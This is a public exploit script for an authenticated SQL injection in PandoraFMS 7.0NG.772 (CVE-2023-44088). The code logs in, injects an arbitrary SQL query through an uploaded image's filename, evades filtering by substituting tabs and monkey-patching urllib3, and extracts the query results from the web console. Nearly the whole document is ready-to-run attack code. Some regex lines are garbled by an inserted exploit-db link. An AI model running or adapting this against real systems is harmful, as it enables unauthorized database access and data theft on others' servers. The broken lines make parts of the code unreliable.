1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 |
# Exploit Title: PandoraFMS 7.0NG.772 - SQL Injection # Date: 21/11/2023 # Exploit Author: Osama Yousef # Vendor Homepage: https://pandorafms.com/ # Software Link: https://github.com/pandorafms/pandorafms/releases/download/v772-LTS/pandorafms_agent_linux-7.0NG.772.tar.gz # Version: v7.0NG.772 # Tested on: Linux # CVE : CVE-2023-44088 import re, requests, argparse, string, random, base64 import urllib3 import html headers = { 'Cache-Control': 'max-age=0', 'Origin': '', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.93 Safari/537.36', 'Accept': '*/*', 'Referer': '' } def login(session, url, username, password): res = session.get(url) csrf = retrieve_csrftoken(res.text) url+= '?login=1' payload = "nick={}&pass={}&login_button=Let%27s+go&csrf_code={}" res = session.post(url, data=payload.format(username, password, csrf), headers={'Content-Type': 'application/x-www-form-urlencoded'}) if 'User is blocked' in res.text: print("Login Failed!") exit(1) def exploit(session, url, imagepath, query): url1 = url + "?sec=network&sec2=godmode/reporting/visual_console_builder&tab=data" name = random_id(10) payload = "{}.jpg',({}),'1','1','1','1');-- helloo.jpg".format(name, query) payload=payload.replace(' ', '\t') files = {"background_image": (payload, open(imagepath, 'rb').read(), 'image/jpeg')} # Create a reference to the original _make_request method urllib3.connectionpool.HTTPConnectionPool._original_make_request = urllib3.connectionpool.HTTPConnectionPool._make_request # Replace the _make_request method with the custom_make_request function urllib3.connectionpool.HTTPConnectionPool._make_request = custom_make_request res = session.post(url1, files=files, data={'action':'save', 'name':name, 'id_group': 0, 'background_image': 'None.png', 'background_color': '#ffffff', 'width': '1024', 'height': '768', 'is_favourite_sent': '0', 'auto_adjust_sent': '0', 'update_layout': 'Save'}) if 'Created successfully' not in res.text: print("Failed to create a visual console!") exit(1) url2 = url + "?sec=godmode/reporting/map_builder&sec2=godmode/reporting/map_builder" res = session.get(url2) x = re.search('(?:<a href="https://www.exploit-db.com/exploits/52157/.*">)'+name, res.text) match = x.group() url3 = match.lstrip("<a href="https://www.exploit-db.com/exploits/52157/) url3 = url3.split('"')[1] url3 = url3.split("?")[1] url3 = html.unescape(url3) url4 = url+ "?" + url3 res = session.get(url4) x = re.search('(?:var props = {"autoAdjust":true,"backgroundColor":".*","backgroundImage")', res.text) match = x.group() output = match.lstrip('var props = {"autoAdjust":true,"backgroundColor":"') output = output.split('","backgroundImage')[0] print("Query output: {}".format(output)) def retrieve_csrftoken(response): x = re.search('(?:<input id="hidden-csrf_code" name="csrf_code" type="hidden"value=")[a-zA-Z0-9]*(?:")', response) match = x.group() csrf = match.lstrip('<input id="hidden-csrf_code" name="csrf_code" type="hidden"value="').rstrip('"') print("CSRF: {}".format(csrf)) return csrf def random_id(len): chars = string.ascii_uppercase + string.ascii_lowercase + string.digits return ''.join(random.choice(chars) for _ in range(len)) def custom_make_request(self, conn, method, url, timeout=urllib3.connectionpool._Default, chunked=False, **httplib_request_kw): body = httplib_request_kw['body'] if body: body = body.replace(b"%09", b"\t"*3) httplib_request_kw['body'] = body return self._original_make_request(conn, method, url, timeout=timeout, chunked=chunked, **httplib_request_kw) def main(): ap = argparse.ArgumentParser() ap.add_argument("-t", "--target", required=True, help="Target URI") ap.add_argument("-u", "--username", required=True, help="Username") ap.add_argument("-p", "--password", required=True, help="Password") ap.add_argument("-i", "--image", required=True, help="Image path") ap.add_argument("-q", "--query", required=True, help="SQL Query to execute") ap.add_argument("-x", "--proxy", required=False, help="Proxy Configuration (e.g., http://127.0.0.1:8080/)") args = vars(ap.parse_args()) session = requests.Session() url = args['target'] if 'pandora_console' not in url: if not url.endswith('/'): url += '/' url += 'pandora_console/' headers['Origin'] = args['target'] headers['Referer'] = args['target'] session.headers.update(headers) proxies = {} if args['proxy'] is not None: if 'https' in args['proxy']: proxies['https'] = args['proxy'] else: proxies['http'] = args['proxy'] session.proxies.update(proxies) login(session, url, args['username'], args['password']) exploit(session, url, args['image'], args['query']) if __name__=='__main__': main() |